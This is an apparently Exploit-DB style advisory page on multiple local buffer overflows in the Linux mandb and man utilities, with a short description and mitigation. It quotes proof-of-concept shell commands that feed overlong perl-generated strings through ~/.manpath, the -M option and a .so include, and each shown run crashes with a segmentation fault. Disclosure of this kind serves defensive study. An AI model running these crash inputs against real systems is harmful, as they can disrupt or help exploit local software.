Multiple Local Buffer Overflow Vulnerabilities in Mandb Utility

vendor:

Mandb Utility

by:

SecurityFocus

7.5

CVSS

HIGH

Buffer Overflow

120

CWE

Product Name: Mandb Utility

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Linux

2002

Multiple Local Buffer Overflow Vulnerabilities in Mandb Utility

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities. These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

Mitigation:

Input validation should be used to ensure that user-supplied data does not exceed the bounds of the reserved buffers.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/8303/info

The mandb utility has been reported to be affected by multiple local buffer overflow vulnerabilities.

These issues present themselves due to insufficient bounds checking performed on user-supplied data before it is copied into reserved buffers in memory. It has been reported that a local attacker may exploit these issues to execute arbitrary instructions in the context of the mandb utility.

# cd /tmp
# mkdir x
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# mandb
Segmentation fault

(can also apply this to the "man" binary, by fooling it with links)
# cd /tmp
# mkdir x
# ln /usr/bin/man mandb
# echo MANDB_MAP `perl -e 'print"x"x8100'` x >~/.manpath
# ./mandb
Segmentation fault

# man -M `perl -e 'print"/"x2100'`usr/share/man ls
...(verbose)
Segmentation fault

# cd /tmp
# mkdir man man/man1
# echo .so `perl -e 'print"x"x1024'` >man/man1/x.1
# man -M /tmp/man x
...(verbose)
Segmentation fault

# man -M `perl -e 'print"/tmp:"x260'` x
Segmentation fault